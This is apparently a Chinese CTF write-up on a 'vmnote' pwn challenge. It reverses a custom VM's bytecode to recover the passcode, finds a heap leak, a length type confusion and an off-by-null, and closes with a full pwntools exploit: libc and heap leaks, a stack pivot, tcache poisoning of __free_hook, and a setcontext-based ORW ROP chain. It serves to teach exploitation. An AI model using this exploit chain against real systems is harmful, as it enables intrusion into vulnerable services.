3.对前0x11个字节做了call #0x6cf这个检查,这个检查其实就是在做数据的对比:

0x6cf   push    reg11
0x6d1   mov     reg11,reg12
0x6d4   sub     reg12,$0x40
0x6de   store   reg0,qword mem[reg12]
0x6e1   mov     reg1,$0x101f
0x6eb   mov     reg2,$0x11
0x6f5   call    0x739

        0x739   push    reg2
        0x73b   push    reg1
        0x73d   push    reg0
        0x73f   xor     reg3,reg3
        0x742   jmp     0x75a
        
        0x75a   cmp     reg3,reg2
        0x75d   jb      0x747        ------->>           0x747   load    reg4,byte mem[reg0]
        0x762   pop     reg0                             0x74a   mov     reg5,reg1
        0x764   pop     reg1                             0x74d   add     reg5,reg4
        0x766   pop     reg2                             0x750   load    reg5,byte mem[reg5]
        0x768   ret                                      0x753   store   reg5,byte mem[reg0]
                                                         0x756   inc     reg0
                                                         0x758   inc     reg3
                                                         0x75a   cmp     reg3,reg2
                                                         0x75d   jb      0x747
                                                         0x762   pop     reg0
                                                         0x764   pop     reg1
                                                         0x766   pop     reg2
                                                         0x768   ret

0x6fa   load    reg0,qword mem[reg12]
0x6fd   mov     reg1,$0x1120
0x707   mov     reg2,$0x11
0x711   call    0x574

       0x574   xor     reg3,reg3
       0x577   xor     reg6,reg6
       0x57a   xor     reg4,reg4
       0x57d   xor     reg5,reg5
       0x580   load    reg4,byte mem[reg0]
       0x583   load    reg5,byte mem[reg1]
       0x586   sub     reg4,reg5
       0x589   cmp     reg4,$0x0
       0x593   jb      0x5a0
       0x598   add     reg3,reg4
       0x59b   jmp     0x5a3
       0x5a0   sub     reg3,reg4
       0x5a3   inc     reg6
       0x5a5   cmp     reg6,reg2
       0x5a8   je      0x5b6
       0x5ad   inc     reg0
       0x5af   inc     reg1
       0x5b1   jmp     0x57a
       0x5b6   mov     reg0,reg3
       0x5b9   ret

0x716   test    reg0,reg0
0x719   je      0x72d
0x71e   mov     reg0,$0x0
0x728   jmp     0x737
0x72d   mov     reg0,$0x1
0x737   leave
0x738   ret

转化成伪代码就是:

char input[0x11]; //输入的前0x11个字节
char key[0x11];   //从data+0x1120开始的11个字节
char data[...];   // 从data+0x101f开始的数据表
for(int i=0;i<0x11;i++)
{
    if( data[input[i]] != key[i] )
        return 0;
}
return 1;

绕过检查:

利用gdb从内存中dump下key和table的数据,从而绕过passcode

'''
pwndbg> x/50gx 0x00000000000070E0+0x555555554000+0x101f
0x55555555c0ff: 0x6eb86077ab94b3da      0xb54c2e5fa59a5dc0
0x55555555c10f: 0x3cc348a8e7b9ef62      0xc9d9e6db081f4316
0x55555555c11f: 0xf603fb7d3d025c38      0xe5593013d886beb0
0x55555555c12f: 0xb10451c2099193d0      0xcffa0720ec71d541
0x55555555c13f: 0x5e31c87f8592cc55      0x78ba4737f5a321df
0x55555555c14f: 0x409719252b3eaefe      0x588cf1e1a7844efc
0x55555555c15f: 0x0d2d7ad7d3a1908f      0xa6e0ddbd69350e64
0x55555555c16f: 0x791e23ce57ea9beb      0x4d12e367064baa28
0x55555555c17f: 0x76226fc12c7233af      0x11d6bcc6f289ee34
0x55555555c18f: 0xa08a4a8b3abb563f      0xf9b4000c5a63536a
0x55555555c19f: 0xc7f7fdf49e24142f      0x4fca83709ff01765
0x55555555c1af: 0x1dac732a6bedf31a      0x26b2051046cde4e2
0x55555555c1bf: 0xc51bb6426ce96dad      0x9639497e0b5082de
0x55555555c1cf: 0x2968c4a4015b3b32      0x95e888b761445418
0x55555555c1df: 0xff8ea981a2f815d1      0x7b27d287988d1c80
0x55555555c1ef: 0x660acbd436759cdc      0x990f9d7cbf745245
0x55555555c1ff: 0xb1230458d793d000      0x23d0ead0d5931e58
0x55555555c20f: 0x6d2d2d2d2d005851      0x0a2d2d2d2d756e65
0x55555555c21f: 0x320a77656e202e31      0x330a776f6873202e
0x55555555c22f: 0x340a74696465202e      0x6574656c6564202e
0x55555555c23f: 0x74697865202e350a      0x3e6563696f68630a
0x55555555c24f: 0x3a7864690000203e      0x3a657a6973000020
0x55555555c25f: 0x65746e6f63000020      0x6f6e0000203a746e
0x55555555c26f: 0x6d656c706d692074      0x0000212121746e65
0x55555555c27f: 0x0000000000000000      0x0000000000000000
pwndbg>
'''
data =p64(0x6eb86077ab94b3da)+p64(0xb54c2e5fa59a5dc0)
data+=p64(0x3cc348a8e7b9ef62)+p64(0xc9d9e6db081f4316)
data+=p64(0xf603fb7d3d025c38)+p64(0xe5593013d886beb0)
data+=p64(0xb10451c2099193d0)+p64(0xcffa0720ec71d541)
data+=p64(0x5e31c87f8592cc55)+p64(0x78ba4737f5a321df)
data+=p64(0x409719252b3eaefe)+p64(0x588cf1e1a7844efc)
data+=p64(0x0d2d7ad7d3a1908f)+p64(0xa6e0ddbd69350e64)
data+=p64(0x791e23ce57ea9beb)+p64(0x4d12e367064baa28)
data+=p64(0x76226fc12c7233af)+p64(0x11d6bcc6f289ee34)
data+=p64(0xa08a4a8b3abb563f)+p64(0xf9b4000c5a63536a)
data+=p64(0xc7f7fdf49e24142f)+p64(0x4fca83709ff01765)

'''
pwndbg> x/20gx 0x00000000000070E0+0x555555554000+0x1120
0x55555555c200: 0x58b1230458d793d0      0x5123d0ead0d5931e
0x55555555c210: 0x656d2d2d2d2d0058      0x310a2d2d2d2d756e
0x55555555c220: 0x2e320a77656e202e      0x2e330a776f687320
0x55555555c230: 0x2e340a7469646520      0x0a6574656c656420
0x55555555c240: 0x0a74697865202e35      0x3e3e6563696f6863
0x55555555c250: 0x203a786469000020      0x203a657a69730000
0x55555555c260: 0x6e65746e6f630000      0x746f6e0000203a74
0x55555555c270: 0x656d656c706d6920      0x000000212121746e
0x55555555c280: 0x0000000000000000      0x0000000000000000
0x55555555c290: 0x0000000000000000      0x0000000000000000
'''

key=p64(0x58b1230458d793d0)+p64(0x5123d0ead0d5931e)+b'\x58'
pl1=b''
for i in range(0x11):
    pl1+=p8(data.index(key[i:i+1]))
#pl1= b'01d_6u7_v190r0u5_'
print("pl1=",pl1)

ru("challenge ")
pl2=int(ru('\n')[:-1])
pl2+=0x12345678
pl1+=str(pl2).encode()

ru("passcode: ")
sl(pl1)

note表单分析

绕过检查后我们就进入到了后期的表单分析:

pl1= b'01d_6u7_v190r0u5_'
[DEBUG] Received 0x1e bytes:
    b'challenge 135556712\n'
    b'passcode: '
[DEBUG] Sent 0x1b bytes:
    b'01d_6u7_v190r0u5_440976608\n'
[*] Switching to interactive mode
[DEBUG] Received 0x3f bytes:
    b'----menu----\n'
    b'1. new\n'
    b'2. show\n'
    b'3. edit\n'
    b'4. delete\n'
    b'5. exit\n'
    b'choice>> '
----menu----
1. new
2. show
3. edit
4. delete
5. exit
choice>> $

main函数定位:

main函数还是比较好寻址的,因为只需要将记住main函数中一定会去做5个比较来确定call的地址:

0x145   push    reg11
0x147   mov     reg11,reg12
0x14a   mov     reg0,$0x1132
0x154   call    0x6a8
0x159   call    0x629
0x15e   cmp     reg0,$0x1
0x168   je      0x1ae
0x16d   cmp     reg0,$0x2
0x177   je      0x1b8
0x17c   cmp     reg0,$0x3
0x186   je      0x1c2
0x18b   cmp     reg0,$0x4
0x195   je      0x1cc
0x19a   cmp     reg0,$0x5
0x1a4   je      0x1d6
0x1a9   jmp     0x14a
0x1ae   call    0x26a
0x1b3   jmp     0x14a
0x1b8   call    0x33d
0x1bd   jmp     0x14a
0x1c2   call    0x37b
0x1c7   jmp     0x14a
0x1cc   call    0x3d5
0x1d1   jmp     0x14a
0x1d6   leave
0x1d7   ret
0x6a8   push    reg1
0x6aa   push    reg0
0x6ac   xor     reg1,reg1
0x6af   load    reg1,byte mem[reg0]
0x6b2   cmp     reg1,$0x0
0x6bc   je      0x6ca
0x6c1   output  byte reg1
0x6c3   inc     reg0
0x6c5   jmp     0x6af
0x6ca   pop     reg0
0x6cc   pop     reg1
0x6ce   ret


'''
pwndbg> x/20gx 0x00000000000070E0+0x555555554000+0x1132
0x55555555c212: 0x756e656d2d2d2d2d      0x202e310a2d2d2d2d
0x55555555c222: 0x73202e320a77656e      0x65202e330a776f68
0x55555555c232: 0x64202e340a746964      0x2e350a6574656c65
0x55555555c242: 0x68630a7469786520      0x00203e3e6563696f
0x55555555c252: 0x0000203a78646900      0x0000203a657a6973
0x55555555c262: 0x3a746e65746e6f63      0x6920746f6e000020
0x55555555c272: 0x746e656d656c706d      0x0000000000212121
0x55555555c282: 0x0000000000000000      0x0000000000000000
0x55555555c292: 0x0000000000000000      0x0000000000000000
0x55555555c2a2: 0x0000000000000000      0x0000000000000000

------------------------------------------------------------------------------------------

----menu----
1. new
2. show
3. edit
4. delete
5. exit
choice>> 

hex()加密
======>>>

2d 2d 2d 2d 6d 65 6e 75        2d 2d 2d 2d 0a 31 2e 20 
6e 65 77 0a 32 2e 20 73        68 6f 77 0a 33 2e 20 65 
64 69 74 0a 34 2e 20 64        65 6c 65 74 65 0a 35 2e 
20 65 78 69 74 0a 63 68        6f 69 63 65 3e 3e 20
'''

add()函数:

add()函数接受参数创建堆块与堆管理节点:

  1. 0<=idx<=4

  2. 0<=size<=0x60

0x1ae   call    0x26a

        0x26a   push    reg11
        0x26c   mov     reg11,reg12
        0x26f   sub     reg12,$0x60
        0x279   mov     reg0,$0x1173
        0x283   call    0x6a8#output("idx: ")

                0x6a8   push    reg1
                0x6aa   push    reg0
                0x6ac   xor     reg1,reg1
                0x6af   load    reg1,byte mem[reg0]
                0x6b2   cmp     reg1,$0x0
                0x6bc   je      0x6ca
                0x6c1   output  byte reg1
                0x6c3   inc     reg0
                0x6c5   jmp     0x6af
                0x6ca   pop     reg0
                0x6cc   pop     reg1
                0x6ce   ret
  
        0x288   call    0x629#接受输入

                0x629   push    reg11
                0x62b   mov     reg11,reg12
                0x62e   sub     reg12,$0x60
                0x638   mov     reg0,reg12
                0x63b   mov     reg1,$0x60
                0x645   call    0x5ef

                        0x5ef   xor     reg6,reg6
                        0x5f2   xor     reg7,reg7
                        0x5f5   input   byte reg7
                        0x5f7   cmp     reg7,$0xa
                        0x601   je      0x615
                        0x606   store   reg7,byte mem[reg0]
                        0x609   inc     reg0
                        0x60b   inc     reg6
                        0x60d   cmp     reg6,reg1
                        0x610   jb      0x5f5
                        0x615   mov     reg7,$0x0
                        0x61f   store   reg7,byte mem[reg0]
                        0x622   mov     reg0,reg1
                        0x625   sub     reg0,reg6
                        0x628   ret

                0x64a   mov     reg0,reg12
                0x64d   call    0x95

                        0x95    mov     reg1,reg0
                        0x98    mov     reg0,$0x5
                        0xa2    note
                        0xa3    ret

                0x652   leave
                0x653   ret

        0x28d   cmp     reg0,$0x0#0<=idx<=4
        0x297   jb      0x30d
        0x29c   cmp     reg0,$0x4
        0x2a6   ja      0x30d
        0x2ab   store   reg0,qword mem[reg12]
        0x2ae   mov     reg1,$0x1520
        0x2b8   mul     reg0,$0x8
        0x2c2   add     reg1,reg0
        0x2c5   load    reg0,qword mem[reg1]
        0x2c8   test    reg0,reg0
        0x2cb   jne     0x30d
        0x2d0   mov     reg0,$0x117a
        0x2da   call    0x6a8#output("size:")

                0x6a8   push    reg1
                0x6aa   push    reg0
                0x6ac   xor     reg1,reg1
                0x6af   load    reg1,byte mem[reg0]
                0x6b2   cmp     reg1,$0x0
                0x6bc   je      0x6ca
                0x6c1   output  byte reg1
                0x6c3   inc     reg0
                0x6c5   jmp     0x6af
                0x6ca   pop     reg0
                0x6cc   pop     reg1
                0x6ce   ret

        0x2df   call    0x629#接受输入

                0x629   push    reg11
                0x62b   mov     reg11,reg12
                0x62e   sub     reg12,$0x60
                0x638   mov     reg0,reg12
                0x63b   mov     reg1,$0x60
                0x645   call    0x5ef

                        0x5ef   xor     reg6,reg6
                        0x5f2   xor     reg7,reg7
                        0x5f5   input   byte reg7
                        0x5f7   cmp     reg7,$0xa
                        0x601   je      0x615
                        0x606   store   reg7,byte mem[reg0]
                        0x609   inc     reg0
                        0x60b   inc     reg6
                        0x60d   cmp     reg6,reg1
                        0x610   jb      0x5f5
                        0x615   mov     reg7,$0x0
                        0x61f   store   reg7,byte mem[reg0]
                        0x622   mov     reg0,reg1
                        0x625   sub     reg0,reg6
                        0x628   ret

                0x64a   mov     reg0,reg12
                0x64d   call    0x95

                        0x95    mov     reg1,reg0
                        0x98    mov     reg0,$0x5
                        0xa2    note
                        0xa3    ret

                0x652   leave
                0x653   ret

        0x2e4   cmp     reg0,$0x0#0<=size<=0x60
        0x2ee   jb      0x30d
        0x2f3   cmp     reg0,$0x60
        0x2fd   ja      0x30d
        0x302   mov     reg1,reg0
        0x305   load    reg0,qword mem[reg12]
        0x308   call    0x1d8

                0x1d8   push    reg11
                0x1da   mov     reg11,reg12
                0x1dd   sub     reg12,$0x60
                0x1e7   store   reg0,qword mem[reg12]
                0x1ea   mov     reg2,reg12
                0x1ed   add     reg2,$0x8
                0x1f7   store   reg1,qword mem[reg2]
                0x1fa   mov     reg0,reg1
                0x1fd   call    0x77#malloc(size)

                        0x77    mov     reg1,reg0
                        0x7a    mov     reg0,$0x3
                        0x84    note
                        0x85    ret

                0x202   test    reg0,reg0
                0x205   je      0x30d
                0x20a   mov     reg2,reg12
                0x20d   add     reg2,$0x10
                0x217   store   reg0,qword mem[reg2]
                0x21a   load    reg2,qword mem[reg12]
                0x21d   mov     reg1,$0x1520
                0x227   mul     reg2,$0x8
                0x231   add     reg1,reg2
                0x234   store   reg0,qword mem[reg1]
                0x237   mov     reg0,$0x1182
                0x241   call    0x6a8#output("content: ")

                        0x6a8   push    reg1
                        0x6aa   push    reg0
                        0x6ac   xor     reg1,reg1
                        0x6af   load    reg1,byte mem[reg0]
                        0x6b2   cmp     reg1,$0x0
                        0x6bc   je      0x6ca
                        0x6c1   output  byte reg1
                        0x6c3   inc     reg0
                        0x6c5   jmp     0x6af
                        0x6ca   pop     reg0
                        0x6cc   pop     reg1
                        0x6ce   ret

                0x246   mov     reg2,reg12
                0x249   add     reg2,$0x8
                0x253   load    reg1,qword mem[reg2]
                0x256   add     reg2,$0x8
                0x260   load    reg0,qword mem[reg2]
                0x263   call    0xa4#input(content)

                        0xa4    mov     reg2,reg1
                        0xa7    mov     reg1,reg0
                        0xaa    mov     reg0,$0x6
                        0xb4    note
                        0xb5    ret

                0x268   leave
                0x269   ret

        0x30d   leave
        0x30e   ret
  
0x1b3   jmp     0x14a

show()函数:

show()函数依据输入的参数来决定输出内容

0x1b8   call    0x33d

        0x33d   push    reg11
        0x33f   mov     reg11,reg12
        0x342   mov     reg0,$0x1173#output("idx: ")
        0x34c   call    0x6a8
  
                0x6a8   push    reg1
                0x6aa   push    reg0
                0x6ac   xor     reg1,reg1
                0x6af   load    reg1,byte mem[reg0]
                0x6b2   cmp     reg1,$0x0
                0x6bc   je      0x6ca
                0x6c1   output  byte reg1
                0x6c3   inc     reg0
                0x6c5   jmp     0x6af
                0x6ca   pop     reg0
                0x6cc   pop     reg1
                0x6ce   ret

        0x351   call    0x629#接受输入

                0x629   push    reg11
                0x62b   mov     reg11,reg12
                0x62e   sub     reg12,$0x60
                0x638   mov     reg0,reg12
                0x63b   mov     reg1,$0x60
                0x645   call    0x5ef

                        0x5ef   xor     reg6,reg6
                        0x5f2   xor     reg7,reg7
                        0x5f5   input   byte reg7
                        0x5f7   cmp     reg7,$0xa
                        0x601   je      0x615
                        0x606   store   reg7,byte mem[reg0]
                        0x609   inc     reg0
                        0x60b   inc     reg6
                        0x60d   cmp     reg6,reg1
                        0x610   jb      0x5f5
                        0x615   mov     reg7,$0x0
                        0x61f   store   reg7,byte mem[reg0]
                        0x622   mov     reg0,reg1
                        0x625   sub     reg0,reg6
                        0x628   ret

                0x64a   mov     reg0,reg12
                0x64d   call    0x95

                        0x95    mov     reg1,reg0
                        0x98    mov     reg0,$0x5
                        0xa2    note
                        0xa3    ret

                0x652   leave
                0x653   ret

        0x356   cmp     reg0,$0x0
        0x360   jb      0x379
        0x365   cmp     reg0,$0x4
        0x36f   ja      0x379
        0x374   call    0x30f

                0x30f   push    reg11
                0x311   mov     reg11,reg12
                0x314   mov     reg1,$0x1520
                0x31e   mul     reg0,$0x8
                0x328   add     reg1,reg0
                0x32b   load    reg0,qword mem[reg1]
                0x32e   test    reg0,reg0
                0x331   je      0x33b
                0x336   call    0xb6

                        0xb6    mov     reg1,reg0
                        0xb9    mov     reg0,$0x7
                        0xc3    note
                        0xc4    ret

                0x33b   leave
                0x33c   ret

        0x379   leave
        0x37a   ret

0x1bd   jmp     0x14a

edit()函数:

没有实现edit()函数的功能。。。。。

0x1c2   call    0x37b

        0x37b   push    reg11
        0x37d   mov     reg11,reg12
        0x380   mov     reg0,$0x118d
        0x38a   call    0x696

                0x696   call    0x6a8#output("not implement!!!")

                        0x6a8   push    reg1
                        0x6aa   push    reg0
                        0x6ac   xor     reg1,reg1
                        0x6af   load    reg1,byte mem[reg0]
                        0x6b2   cmp     reg1,$0x0
                        0x6bc   je      0x6ca
                        0x6c1   output  byte reg1
                        0x6c3   inc     reg0
                        0x6c5   jmp     0x6af
                        0x6ca   pop     reg0
                        0x6cc   pop     reg1
                        0x6ce   ret

        0x38f   leave
        0x390   ret

0x1c7   jmp     0x14a

dele()函数:

根据idx来删除对应的note。

0x1cc   call    0x3d5

        0x3d5   push    reg11
        0x3d7   mov     reg11,reg12
        0x3da   mov     reg0,$0x1173
        0x3e4   call    0x6a8#output("idx: ")

                0x6a8   push    reg1
                0x6aa   push    reg0
                0x6ac   xor     reg1,reg1
                0x6af   load    reg1,byte mem[reg0]
                0x6b2   cmp     reg1,$0x0
                0x6bc   je      0x6ca
                0x6c1   output  byte reg1
                0x6c3   inc     reg0
                0x6c5   jmp     0x6af
                0x6ca   pop     reg0
                0x6cc   pop     reg1
                0x6ce   ret

        0x3e9   call    0x629

                0x629   push    reg11
                0x62b   mov     reg11,reg12
                0x62e   sub     reg12,$0x60
                0x638   mov     reg0,reg12
                0x63b   mov     reg1,$0x60
                0x645   call    0x5ef

                        0x5ef   xor     reg6,reg6
                        0x5f2   xor     reg7,reg7
                        0x5f5   input   byte reg7
                        0x5f7   cmp     reg7,$0xa
                        0x601   je      0x615
                        0x606   store   reg7,byte mem[reg0]
                        0x609   inc     reg0
                        0x60b   inc     reg6
                        0x60d   cmp     reg6,reg1
                        0x610   jb      0x5f5
                        0x615   mov     reg7,$0x0
                        0x61f   store   reg7,byte mem[reg0]
                        0x622   mov     reg0,reg1
                        0x625   sub     reg0,reg6
                        0x628   ret

                0x64a   mov     reg0,reg12
                0x64d   call    0x95

                        0x95    mov     reg1,reg0
                        0x98    mov     reg0,$0x5
                        0xa2    note
                        0xa3    ret

                0x652   leave
                0x653   ret

        0x3ee   cmp     reg0,$0x0
        0x3f8   jb      0x411
        0x3fd   cmp     reg0,$0x4
        0x407   ja      0x411
        0x40c   call    0x391

                0x391   push    reg11
                0x393   mov     reg11,reg12
                0x396   sub     reg12,$0x40
                0x3a0   mov     reg1,$0x1520
                0x3aa   mul     reg0,$0x8
                0x3b4   add     reg1,reg0
                0x3b7   store   reg1,qword mem[reg12]
                0x3ba   load    reg0,qword mem[reg1]
                0x3bd   test    reg0,reg0
                0x3c0   je      0x3d3
                0x3c5   call    0x86

                        0x86    mov     reg1,reg0
                        0x89    mov     reg0,$0x4
                        0x93    note
                        0x94    ret

                0x3ca   load    reg1,qword mem[reg12]
                0x3cd   xor     reg0,reg0
                0x3d0   store   reg0,qword mem[reg1]
                0x3d3   leave
                0x3d4   ret

        0x411   leave
        0x412   ret

0x1d1   jmp     0x14a

漏洞分析:

  • add()的过程没有对堆块实现清零操作,所以我们可以借助show()函数将堆块上面残留的地址给泄露出来

  • vm解释器中的note模块中存在类型转化的漏洞:len的类型是__int64,但是再调用find_and_checksec函数的时候将其解释为int类型的类型,存在一个类型混淆的漏洞

void note()
{
  int v0; // [rsp+Ch] [rbp-14h]
  unsigned __int64 bufb; // [rsp+10h] [rbp-10h]
  char *buf; // [rsp+10h] [rbp-10h]
  const char *seed_copy; // [rsp+10h] [rbp-10h]
  __int64 length; // [rsp+18h] [rbp-8h]
  int length_seed; // [rsp+18h] [rbp-8h]

  switch ( LODWORD(reg[0]) )
  {
    ......
    case 6:
      buf = (char *)seed;
      length = len[0];
      if ( len[0] > 0 && find_and_checksec((__int64)seed, len[0]) )
      {
        v0 = read(0, buf, length);
        if ( v0 > 0 && buf[v0 - 1] == '\n' )
          buf[v0 - 1] = 0;
      }
      break;
    ......
  }
}

_BOOL8 __fastcall find_and_checksec(__int64 seed, int length)
{
  _QWORD *addr; // [rsp+18h] [rbp-8h]

  addr = strstr(seed);
  return addr && length <= *((_DWORD *)addr + 2);
}
  • note.bin中的0x629函数存在漏洞(这个感觉只看汇编是真不好看出来):

注意看其汇编代码:

其先给函数的接受空间预留了0x60的大小的空间:sub reg12,$0x60 但是如果结尾为“\n”时会跳过检查读入个数的检查,直接将栈上 的第0x60个数据强制转化为\x00,也就是说它存在一个off_by_null的漏洞。

0x629   push    reg11
0x62b   mov     reg11,reg12
0x62e   sub     reg12,$0x60
0x638   mov     reg0,reg12
0x63b   mov     reg1,$0x60
0x645   call    0x5ef

        0x5ef   xor     reg6,reg6
        0x5f2   xor     reg7,reg7
        0x5f5   input   byte reg7
        0x5f7   cmp     reg7,$0xa
        0x601   je      0x615
        0x606   store   reg7,byte mem[reg0]
        0x609   inc     reg0
        0x60b   inc     reg6
        0x60d   cmp     reg6,reg1
        0x610   jb      0x5f5
        0x615   mov     reg7,$0x0
        0x61f   store   reg7,byte mem[reg0]
        0x622   mov     reg0,reg1
        0x625   sub     reg0,reg6
        0x628   ret

0x64a   mov     reg0,reg12
0x64d   call    0x95

        0x95    mov     reg1,reg0
        0x98    mov     reg0,$0x5
        0xa2    note
        0xa3    ret

0x652   leave
0x653   ret

漏洞利用:

1.泄露地址:

#获得libc_base
add(0,0x60,'\x11')
show(0)
lb=uu64(ru("\x7f")[-6:])-0x1ebb11
print("libc_base=",hex(lb))

#获取heap_base
add(1,0x60,'\x11')
add(2,0x60,'\x11')
dele(1)
dele(2)
add(2,0x60,'\x11')
add(1,0x60,'\x11')
show(2)
ru("content: ")
hb=uu64(rc(6))-0x511
print("heap_base=",hex(hb))

2.控制执行流:

  1. 首先劫持vm程序的控制流,通过构造note(6)的输入数据,造成堆溢出。观察note(6)发现需要传入reg0和reg1。前者表示输入的地址,后者表示输入的长度。

  2. 为了控制reg0和reg1需要寻找gadget。结合我们能够控制栈上面的内容,我们选择如下gadget:

0x6ca   pop     reg0
0x6cc   pop     reg1
0x6ce   ret

利用实现:

1.先构造payload控制栈执行流:将rbp覆盖后,结合输入选项5来触发即可达到栈迁移的效果

#控制程序执行流,栈迁移
heap_addr=hb+0x480
length=(1<<32)+0x10
pay=p64(0x6ca)+p64(heap_addr)+p64(length)+p64(0xa4)+p64(0x14a)
payload=p64(6)+pay*2
payload=payload.ljust(0x60,b'\x00')

2.准备修改tcache_bin的fd指针到free_hook,,同时往堆块上面写ORW的内容:

#修改fd指针,同时准备orw
context=lb+libc.sym['setcontext']+61
print("context=",hex(context))
rdi=lb+0x0000000000026b72
rsi=lb+0x0000000000027529
rsi_r15=lb+0x0000000000026b70
rdx_r12=lb+0x000000000011c371
rdx_rcx_rbx=lb+0x00000000001056fd
rax=lb+0x000000000004a550
syscall=lb+0x000000000111140
mvrsp=lb+0x000000000005e650
open = libc.sym['open']+lb
read = libc.sym['read']+lb
write = libc.sym['write']+lb
print("rdi=",hex(rdi))
print("mvrsp",hex(mvrsp))
print("__free_hook",hex(lb+libc.sym["__free_hook"]))
# 0x0000000000154930: mov rdx, qword ptr[rdi + 8];
#                     mov qword ptr[rsp], rax;
#                     call qword ptr[rdx + 0x20]
orw=b'./flag\x00\x00'+p64(hb+0x480+0x10)
orw+=p64(rdi)+p64(hb+0x480)+p64(rdx_r12)+p64(0)
orw+=p64(mvrsp)+p64(rsi_r15)
orw+=p64(0)+p64(0)
orw+=p64(rax)+p64(2)+p64(lb+0x0000000000026b6b)
orw+=p64(0x21)+p64(hb+0x480)+p64(0x0000020000000060)+p64(0)
orw+=p64(syscall)
orw+=p64(rdi)+p64(3)+p64(rsi)+p64(hb+0x480)+p64(rdx_r12)+p64(0x30)+p64(0)+p64(read)
orw+=p64(rdi)+p64(1)+p64(write)
orw+=p64(0)*2+p64(0x21)+p64(0)+p64(hb+0x10)+p64(hb+0x610)
orw+=p64(0x71)
fake_fd=lb+libc.sym["__free_hook"]
pl3=orw+p64(fake_fd)

完整exp:

from pwn import *
from pwncli import *
from pwn_std import *
import ctypes

context(os='linux', arch='amd64', log_level='debug')

# elf = ELF("./vuln")
libc = ELF("./libc.so.6")
elf=ctypes.CDLL('./libc.so.6')
'''
patchelf --set-interpreter /opt/libs/2.27-3ubuntu1_amd64/ld-2.27.so ./patchelf
patchelf --replace-needed libc.so.6 /opt/libs/2.27-3ubuntu1_amd64/libc-2.27.so ./patchelf
ROPgadget --binary main --only "pop|ret" | grep rdi
gdb -ex set debug-file-directory /home/mazhatter/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/.debug/ ./pwn
gdb -ex "add-symbol-file /home/mazhatter/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/.debug/lib/x86_64-linux-gnu/libc-2.27.so" ./pwn
'''


def add(idx, size,con):
    sla('choice>> ', '1')
    sla("idx: ", str(idx))
    sla("size: ", str(size).encode())
    sa("content: ", con)


def show(idx):
    sla('choice>> ', '2')
    sla("idx: ", str(idx))


def dele(idx):
    sla('choice>> ', '4')
    sla("idx: ", str(idx))




def attack():
    data =p64(0x6eb86077ab94b3da)+p64(0xb54c2e5fa59a5dc0)
    data+=p64(0x3cc348a8e7b9ef62)+p64(0xc9d9e6db081f4316)
    data+=p64(0xf603fb7d3d025c38)+p64(0xe5593013d886beb0)
    data+=p64(0xb10451c2099193d0)+p64(0xcffa0720ec71d541)
    data+=p64(0x5e31c87f8592cc55)+p64(0x78ba4737f5a321df)
    data+=p64(0x409719252b3eaefe)+p64(0x588cf1e1a7844efc)
    data+=p64(0x0d2d7ad7d3a1908f)+p64(0xa6e0ddbd69350e64)
    data+=p64(0x791e23ce57ea9beb)+p64(0x4d12e367064baa28)
    data+=p64(0x76226fc12c7233af)+p64(0x11d6bcc6f289ee34)
    data+=p64(0xa08a4a8b3abb563f)+p64(0xf9b4000c5a63536a)
    data+=p64(0xc7f7fdf49e24142f)+p64(0x4fca83709ff01765)

    elf.srand(elf.time(0))
    vm_sp = (0x2000 - ((elf.rand() % 511) & 0x1F8))
    vm_sp_copy=vm_sp&0xff
    print("rand=",hex(vm_sp))
    if vm_sp_copy==0x88:

        key=p64(0x58b1230458d793d0)+p64(0x5123d0ead0d5931e)+b'\x58'
        pl1=b''
        for i in range(0x11):
            pl1+=p8(data.index(key[i:i+1]))
        #pl1= b'01d_6u7_v190r0u5_'
        print("pl1=",pl1)

        ru("challenge ")
        pl2=int(ru('\n')[:-1])
        pl2+=0x12345678
        pl1+=str(pl2).encode()

        ru("passcode: ")
        sl(pl1)

        #获得libc_base
        add(0,0x60,'\x11')
        show(0)
        lb=uu64(ru("\x7f")[-6:])-0x1ebb11
        print("libc_base=",hex(lb))

        #获取heap_base
        add(1,0x60,'\x11')
        add(2,0x60,'\x11')
        dele(1)
        dele(2)
        add(2,0x60,'\x11')
        add(1,0x60,'\x11')
        show(2)
        ru("content: ")
        hb=uu64(rc(6))-0x511
        print("heap_base=",hex(hb))


        dele(1)
        dele(2)

        #控制程序执行流,栈迁移
        heap_addr=hb+0x480
        length=(1<<32)+0x10
        pay=p64(0x6ca)+p64(heap_addr)+p64(length)+p64(0xa4)+p64(0x14a)
        payload=p64(6)+pay*2
        payload=payload.ljust(0x60,b'\x00')

        sla('choice>> ', payload)
        #修改fd指针,同时准备orw
        context=lb+libc.sym['setcontext']+61
        print("context=",hex(context))
        rdi=lb+0x0000000000026b72
        rsi=lb+0x0000000000027529
        rsi_r15=lb+0x0000000000026b70
        rdx_r12=lb+0x000000000011c371
        rdx_rcx_rbx=lb+0x00000000001056fd
        rax=lb+0x000000000004a550
        syscall=lb+0x000000000111140
        mvrsp=lb+0x000000000005e650
        open = libc.sym['open']+lb
        read = libc.sym['read']+lb
        write = libc.sym['write']+lb
        print("rdi=",hex(rdi))
        print("mvrsp",hex(mvrsp))
        print("__free_hook",hex(lb+libc.sym["__free_hook"]))
        # 0x0000000000154930: mov rdx, qword ptr[rdi + 8];
        #                     mov qword ptr[rsp], rax;
        #                     call qword ptr[rdx + 0x20]
        orw=b'./flag\x00\x00'+p64(hb+0x480+0x10)
        orw+=p64(rdi)+p64(hb+0x480)+p64(rdx_r12)+p64(0)
        orw+=p64(mvrsp)+p64(rsi_r15)
        orw+=p64(0)+p64(0)
        orw+=p64(rax)+p64(2)+p64(lb+0x0000000000026b6b)
        orw+=p64(0x21)+p64(hb+0x480)+p64(0x0000020000000060)+p64(0)
        orw+=p64(syscall)
        orw+=p64(rdi)+p64(3)+p64(rsi)+p64(hb+0x480)+p64(rdx_r12)+p64(0x30)+p64(0)+p64(read)
        orw+=p64(rdi)+p64(1)+p64(write)
        orw+=p64(0)*2+p64(0x21)+p64(0)+p64(hb+0x10)+p64(hb+0x610)
        orw+=p64(0x71)
        fake_fd=lb+libc.sym["__free_hook"]
        pl3=orw+p64(fake_fd)
    
        sla('choice>> ','5')
        sla('choice>> ',pl3)
        sla('choice>> ','6')
        sleep(0.5)
        add(1,0x60,'\x11')
        add(2,0x60,p64(0x0000000000154930+lb))
        # gdbbug()
        dele(0)
        # gdbbug()
        ita()
    else:
        print("rand!=0x1e60")
        p.close()

while(True):
    p = getProcess("10.81.2.238", "10062", "./vmnote")
    attack()

效果;

文章作者: A1b2rt
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 pwn手的成长之旅
